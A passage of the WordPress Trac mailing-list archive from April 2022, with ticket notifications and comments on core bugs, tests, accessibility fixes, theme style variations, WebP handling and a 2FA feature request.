Hello folks, I've been working on a PR creating ''wp_preload_links'' ( covers ''imagesrcset'' and ''imagesizes'' too ), also added unit testing to it. cc @swissspidy @spacedmonkey -- Ticket URL: <https://core.trac.wordpress.org/ticket/42438#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 13:18:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 13:18:58 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.7606c9635cdd316ac6b67ecbb0c78d1f@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible ---------------------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Plugins | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests dev-feedback | Focuses: ---------------------------------------------------+----------------------- Comment (by pbearne): refreshed pull request -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 13:22:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 13:22:04 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.1344b476d0f30e329a360d61f4e07781@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration testing | -------------------------------------+------------------------------------- Changes (by afercia): * Attachment "47018.3.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 13:31:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 13:31:59 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.df6d3e163517af83dda559c97402bb32@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration testing | -------------------------------------+------------------------------------- Comment (by afercia): [attachment:"47018.3.diff"] - Removes the changes to `ajax-response.js`. - Trims the input field value in `window.validateForm` to pari what happens on the PHP and JS sides. To test: - Leave the 'Name' field empty and submit the form. - Check a notice appears with the message 'A name is required for this term.' - Check the 'Name' field gets a red border (actually, a CSS box-shadow). - Use your browser's dev tools inspector and check the polite ARIA live region with ID `a11y-speak-polite` contains the text 'A name is required for this term.' - Refresh the page. - Enter only a few spaces into the 'Name' field empty and submit the form. - Repeat the steps above. Note: when submitting the form, the submit button text gets remove. That's a separate issue tracked in #48030. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 13:32:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 13:32:53 -0000 Subject: [wp-trac] [WordPress Trac] #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security Message-ID: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security --------------------------+----------------------------- Reporter: ReneHermi | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- A string/password that is generated by wp_generate_password() can lead to a block of requests by security plugins or modules like mod_security() because it's possible that a generated string can contain the string part 0x. This part triggers the server security module because literals that start with 0x are hexadecimal integers. Best would be to prevent this character combination in core of this method by doing a simple replace of 0x with something like a0 or by removing the character x from the list of available characters. This is no theoretical topic: wp_generate_password() is used sometimes to create api access keys. We know from one client that one of his access keys created by wp_generate_password() led to a completely break of his application because his access token was a string like 6zx**0X**F5CzCqwkKu2RbKU9KuCtEV0OR6uyBcw4BZx345345345QPzBj A password, as it is user input should never contain a phrase like 0x if you want to make sure the generated string will pass security modules. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55536> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 13:34:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 13:34:22 -0000 Subject: [wp-trac] [WordPress Trac] #55433: Twenty Twenty-Two: Implement alternate json files In-Reply-To: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> References: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> Message-ID: <065.fad01b1ceb9770fe679d8e9e7ac10208@wordpress.org> #55433: Twenty Twenty-Two: Implement alternate json files ---------------------------------------------+--------------------- Reporter: kjellr | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: needs-design-feedback has-patch | Focuses: ---------------------------------------------+--------------------- Comment (by Joen): Love the style variants! The fact that I can click either of these and instantly see an effect in the canvas really shows the power of the Global Styles system, and this will only expand as more design tools become available. Should we reduce from 6 styles to 4, though, so the bundled styles are all substantially different than the default? For example, the blue, green, pink and dark from https://cldup.com/IpUFugLvJe.png? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55433#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 13:51:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 13:51:46 -0000 Subject: [wp-trac] [WordPress Trac] #55537: Pair wpAjax admin notices with accessible audible messages Message-ID: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> #55537: Pair wpAjax admin notices with accessible audible messages ---------------------------------------+----------------------------- Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Keywords: Focuses: accessibility, javascript | ---------------------------------------+----------------------------- Splitting this out from #47018. Amongst other things, the `window.wpAjax` response takes care of displaying success / error admin notices on some pages. In [52170] a couple of these notices were paired with accessible audible messages via `wp.a11y.speak`. There are a few more notices that can benefit from the same audibel messages, which are typically the responses triggered when `wp_die()` is used. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55537> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 13:53:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 13:53:05 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.6c23cd1af9ea7c157aabff3daf8f7cbc@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration testing | -------------------------------------+------------------------------------- Comment (by afercia): Created a new ticket for the enhancements to `ajax-response.js`. See #55537. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 15:06:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 15:06:45 -0000 Subject: [wp-trac] [WordPress Trac] #55538: Image Alt Tags for template images don't work Message-ID: <062.b5bf2e5e94e626ae6ac5ddde15171798@wordpress.org> #55538: Image Alt Tags for template images don't work --------------------------------+----------------------------- Reporter: artisanmarketingco | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Media | Version: 5.9.3 Severity: normal | Keywords: Focuses: coding-standards | --------------------------------+----------------------------- If I add image alt tags in the media library and then use the images in templates, the alt tag data is missing from live page source code. It works fine on images in pages and posts - but not in templates. Hits my accessibility. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55538> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 15:14:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 15:14:49 -0000 Subject: [wp-trac] [WordPress Trac] #55538: Image Alt Tags for template images don't work In-Reply-To: <062.b5bf2e5e94e626ae6ac5ddde15171798@wordpress.org> References: <062.b5bf2e5e94e626ae6ac5ddde15171798@wordpress.org> Message-ID: <077.ecd97b06202412d0179e70be65fa7961@wordpress.org> #55538: Image Alt Tags for template images don't work --------------------------------+------------------------------- Reporter: artisanmarketingco | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Media | Version: 5.9.3 Severity: normal | Resolution: invalid Keywords: | Focuses: coding-standards --------------------------------+------------------------------- Changes (by artisanmarketingco): * status: new => closed * resolution: => invalid Comment: Replying to [ticket:55538 artisanmarketingco]: > If I add image alt tags in the media library and then use the images in templates, the alt tag data is missing from live page source code. > > It works fine on images in pages and posts - but not in templates. > > Hits my accessibility. UPDATE - it's not the issue. I have discovered that it only happens with WebP images. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55538#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 15:16:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 15:16:30 -0000 Subject: [wp-trac] [WordPress Trac] #55443: Create WebP sub-sizes and use for output In-Reply-To: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> References: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> Message-ID: <074.cc211aed0f4335eaa224eee779dffa66@wordpress.org> #55443: Create WebP sub-sizes and use for output -------------------------------------------------+------------------------- Reporter: adamsilverstein | Owner: | adamsilverstein Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing needs-dev-note needs-docs needs-codex | performance -------------------------------------------------+------------------------- Comment (by adamsilverstein): Thanks @markhowellsmead, I'll give your image a test using GD and Imagick conversion on the server to see how that works. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55443#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 15:18:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 15:18:22 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.a2464fc6393b00b12a7a6e4f23b1e90c@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53086" 53086]: {{{ #!CommitTicketReference repository="" revision="53086" Docs: Adjust some deprecated function DocBlocks per the [https://developer.wordpress.org/coding-standards/inline-documentation- standards/php/#1-2-deprecated-functions documentation standards]. This ensures the replacement functions are linked correctly in the WordPress Code Reference. Follow-up to [38515], [43548], [49992], [51348], [51586], [52757], [53082]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:62> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 15:31:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 15:31:38 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.d519a9f7120a3bcbb1300f923887c72e@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53087" 53087]: {{{ #!CommitTicketReference repository="" revision="53087" Docs: Adjust DocBlock formatting for `wp_robots_*()` and related functions. This ensures the code blocks are displayed correctly in the WordPress Code Reference. Follow-up to [19304], [37541], [44021], [49992]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:63> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 17:14:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 17:14:52 -0000 Subject: [wp-trac] [WordPress Trac] #55433: Twenty Twenty-Two: Implement alternate json files In-Reply-To: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> References: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> Message-ID: <065.92158e4c4025fae6119dfa246180ee95@wordpress.org> #55433: Twenty Twenty-Two: Implement alternate json files ---------------------------------------------+--------------------- Reporter: kjellr | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: needs-design-feedback has-patch | Focuses: ---------------------------------------------+--------------------- Comment (by kjellr): > We reviewed this ticket during a recent design triage. Thanks for the feedback, though I don't expect we'll change the course of this feature at this point. These alternate colors have been planned since [https://make.wordpress.org/core/2021/10/06/introducing-twenty-twenty-two/ the theme's announcement], and the Styles feature was identified as a key feature for 6.0 during [https://wordpress.tv/2022/04/06/wordpress-6-0 -product-walk-through/ yesterday's walkthrough]. Having a solid set of diverse styles in These Twenty Twenty-Two is necessary to to demonstrate the range of possibilities that are unlocked by this feature. > Should we reduce from 6 styles to 4, though, so the bundled styles are all substantially different than the default? I like the idea of curating it down just a little more — I think that'll help folks differentiate them even more strongly. I updated the PR to include just four total: Default, Blue, Pink, and Swiss. Here's how that feels: [[Image(https://cldup.com/Zx1_3_1RCi.gif)]] While trimming the list down, I also adjusted a few details (spacing and site title styles) to pull them apart even more too. I'm tempted to swap a serif into the blue direction so there's more difference between the Swiss direction and the Blue one. But I think in practice the serifs tend to make things feel a lot like the original direction. So maybe what we have here is fine? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55433#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 18:38:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 18:38:49 -0000 Subject: [wp-trac] [WordPress Trac] #55539: add_menu_page no longer renders base64 encoded SVG icon Message-ID: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> #55539: add_menu_page no longer renders base64 encoded SVG icon ----------------------------+----------------------------- Reporter: KProvance | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Keywords: Focuses: | ----------------------------+----------------------------- Regarding the add_menu_page() API. Passing a base64 encoded string (per the instruction provided on the codex for this API (Pass a base64-encoded SVG using a data URI, which will be colored to match the color scheme. This should begin with 'data:image/svg+xml;base64,')) in the $icon_url parameter no longer outputs the icon. The base64 string no longer outputs in the HTML. The feature still functions properly in WP 5.9.x. As WooCommerce uses this method for their primary admin menu icon, one can see it reproduced by installing and activating WC. Occurs with FF and Chrome. Using PHP 7.4 and 8.1 alternatively. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55539> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 20:16:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 20:16:52 -0000 Subject: [wp-trac] [WordPress Trac] #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made In-Reply-To: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> References: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> Message-ID: <067.02bd8237c5cdbd447288d8f5db3e6f03@wordpress.org> #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made --------------------------+------------------------------ Reporter: altfgcom | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.2 Severity: normal | Resolution: duplicate Keywords: | Focuses: --------------------------+------------------------------ Comment (by altfgcom): Just wanted to say thanks for the reply. I see that the issues we're having - html markers disappear from title after post refreshed, italics disappear from title once changes are made to it - are pretty much discussed there. The curious thing is, someone there seems to know what the cause is. Wondering why it hasn't been fixed yet (including yesterday's WP update). Anyhow, thanks again. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55527#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 20:38:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 20:38:10 -0000 Subject: [wp-trac] [WordPress Trac] #54751: Invalid argument in class-wp-list-util.php In-Reply-To: <049.3061f13327d6bc39d75916df3117d902@wordpress.org> References: <049.3061f13327d6bc39d75916df3117d902@wordpress.org> Message-ID: <064.1035ea1ff3aec268e31d599c7cd5152d@wordpress.org> #54751: Invalid argument in class-wp-list-util.php -------------------------------------------------+------------------------- Reporter: marv2 | Owner: | peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: General | Version: 3.1 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch has-unit- | Focuses: tests | -------------------------------------------------+------------------------- Comment (by RMarks): Should a condition be added to see if the array is empty? The error below was encountered when the array was empty: {{{ Warning: Invalid argument supplied for foreach() in /code/wp-includes /class-wp-list-util.php on line 165 }}} Or should I open a new ticket? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54751#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 20:41:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 20:41:53 -0000 Subject: [wp-trac] [WordPress Trac] #55514: 2FA by default for WordPress In-Reply-To: <050.b0f6497178f7332ec3a0c7238fbc9248@wordpress.org> References: <050.b0f6497178f7332ec3a0c7238fbc9248@wordpress.org> Message-ID: <065.1a909819465ddcee34c0ebbe87b501e0@wordpress.org> #55514: 2FA by default for WordPress -----------------------------+------------------------------ Reporter: jamsec | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Resolution: Keywords: | Focuses: -----------------------------+------------------------------ Comment (by jamsec): Thanks for the response @jorbin In my view as someone who works with hacked sites every day, it seems that if outdated/abandoned websites would pile up because users are locked out, those same outdated sites are getting infected with malware instead. If 2FA were to be included by default, it can still easily be disabled by renaming the plugin directory name in wp-content/plugins, so re- establishing admin access should not be too difficult if someone gets locked out as most hosting platforms provide access to the file structure. IMO the pros would outweigh the cons by a pretty large margin. Even something as simple as adding a ''"Would you like to add 2FA?"'' to the WordPress installation process would make a huge difference. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55514#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 21:01:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 21:01:34 -0000 Subject: [wp-trac] [WordPress Trac] #55539: add_menu_page no longer renders base64 encoded SVG icon In-Reply-To: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> References: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> Message-ID: <068.f9204615b0ca42ce7dd6cb30ccf8f8d4@wordpress.org> #55539: add_menu_page no longer renders base64 encoded SVG icon ----------------------------+------------------------------ Reporter: KProvance | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Resolution: Keywords: | Focuses: ----------------------------+------------------------------ Comment (by w33zy): I am also experience this issue this and I've tracked it down to [https://github.com/WordPress/WordPress/blob/master/wp- includes/formatting.php#L4443 esc_url() function on L443]. However, I am not experienced enough with Trac or SVN to pinpoint what was changed and when it was changed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55539#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 21:15:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 21:15:37 -0000 Subject: [wp-trac] [WordPress Trac] #55540: My site connection in the hosting server Message-ID: <053.e8b3d9a27e08a83f2a09d116482cbb50@wordpress.org> #55540: My site connection in the hosting server -------------------------------------+------------------------------------- Reporter: procorner | Owner: Ufal2206@… Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Canonical | Version: trunk Severity: critical | Keywords: needs-patch needs- Focuses: ui, accessibility, | refresh javascript, css, docs, rtl, | administration, template, | performance, ui-copy, coding- | standards | -------------------------------------+------------------------------------- I want to restore the connection of my site together with the hosting server srv226.sellvir.com procorners.com Hosting server domain with uf441143632416.alisrv.com And connect together server -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 21:25:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 21:25:32 -0000 Subject: [wp-trac] [WordPress Trac] #55540: My site connection in the hosting server In-Reply-To: <053.e8b3d9a27e08a83f2a09d116482cbb50@wordpress.org> References: <053.e8b3d9a27e08a83f2a09d116482cbb50@wordpress.org> Message-ID: <068.545d93c805a0555b28eb907c8180f59f@wordpress.org> #55540: My site connection in the hosting server -------------------------------------+------------------------------------- Reporter: procorner | Owner: Ufal2206@… Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Canonical | Version: trunk Severity: critical | Resolution: Keywords: needs-patch needs- | Focuses: ui, accessibility, refresh | javascript, css, docs, rtl, | administration, template, | performance, ui-copy, coding- | standards -------------------------------------+------------------------------------- Changes (by procorner): * Attachment "Screenshot_20220406-232001_Chrome.jpg" added. I want to connect my site together with the hosting server together Correct access data -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 21:50:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 21:50:53 -0000 Subject: [wp-trac] [WordPress Trac] #55540: My site connection in the hosting server In-Reply-To: <053.e8b3d9a27e08a83f2a09d116482cbb50@wordpress.org> References: <053.e8b3d9a27e08a83f2a09d116482cbb50@wordpress.org> Message-ID: <053.e8b3d9a27e08a83f2a09d116482cbb50@wordpress.org> #55540: My site connection in the hosting server -------------------------------------+------------------------------------- Reporter: procorner | Owner: Ufal2206@… Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Canonical | Version: trunk Severity: critical | Resolution: Keywords: needs-patch needs- | Focuses: ui, accessibility, refresh | javascript, css, docs, rtl, | administration, template, | performance, ui-copy, coding- | standards -------------------------------------+------------------------------------- Changes (by procorner): * Attachment "Screenshot_20220406-232001_Chrome.jpg" removed. I want to connect my site together with the hosting server together Correct access data -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 22:25:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 22:25:58 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default (was: In widget area <a aria-current="page" title="shows whole category description when only cat_title should be shown - which breaks the intended benefit of aria (and creates duplicate content on the category archive)") In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.47b5ceaafdf1145dccc584997ee81105@wordpress.org> #55530: Category archive links include description in a title attribute by default -----------------------------------------+------------------------------ Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch title-attribute | Focuses: accessibility -----------------------------------------+------------------------------ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 22:32:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 22:32:50 -0000 Subject: [wp-trac] [WordPress Trac] #54447: Site Icons on My Sites in multisite network causing performance issue In-Reply-To: <051.d687bf3f592aa0cf10f2ef4a5216d7a0@wordpress.org> References: <051.d687bf3f592aa0cf10f2ef4a5216d7a0@wordpress.org> Message-ID: <066.b33f4703450a6753888bb104503df8a3@wordpress.org> #54447: Site Icons on My Sites in multisite network causing performance issue -------------------------+------------------------------------- Reporter: wslyhbb | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Toolbar | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: multisite, performance -------------------------+------------------------------------- Changes (by audrasjb): * owner: (none) => audrasjb * status: new => reviewing -- Ticket URL: <https://core.trac.wordpress.org/ticket/54447#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 22:51:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 22:51:47 -0000 Subject: [wp-trac] [WordPress Trac] #54751: Invalid argument in class-wp-list-util.php In-Reply-To: <049.3061f13327d6bc39d75916df3117d902@wordpress.org> References: <049.3061f13327d6bc39d75916df3117d902@wordpress.org> Message-ID: <064.da010f7173277847c0642d1e2cebff2a@wordpress.org> #54751: Invalid argument in class-wp-list-util.php -------------------------------------------------+------------------------- Reporter: marv2 | Owner: | peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: General | Version: 3.1 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch has-unit- | Focuses: tests | -------------------------------------------------+------------------------- Comment (by peterwilsoncc): @RMarks I'm unable to reproduce this on the trunk branch that includes this fix. The function returns an empty array, I tried various combinations: {{{ wp> wp_list_pluck( [], 'bob' ); => : array(0) { } wp_list_pluck( [[],[],[]], 'bob' ); => : array(3) { [0] => NULL [1] => NULL [2] => NULL } wp> wp_list_pluck( [(object)[],(object)[],(object)[]], 'bob' ); => : array(3) { [0] => NULL [1] => NULL [2] => NULL } }}} If you're able to reproduce the error on trunk, a new ticket would be better to allow this ticket to remain focused on one bug. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54751#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 23:09:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 23:09:57 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.76336bb8785a186c3a524b6cd6aa2605@wordpress.org> #28277: Add ability to apply image edits to custom image sizes -------------------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: administration -------------------------------------+----------------------------- Changes (by joedolson): * Attachment "28277.2.diff" added. Refresh & update patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 23:15:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 23:15:49 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.dbfa15ef21e816523531544951a70287@wordpress.org> #28277: Add ability to apply image edits to custom image sizes -------------------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: administration -------------------------------------+----------------------------- Comment (by joedolson): Updated patch fixes some issues with inappropriate use of translation functions, adds escaping, and updates the patch. The original 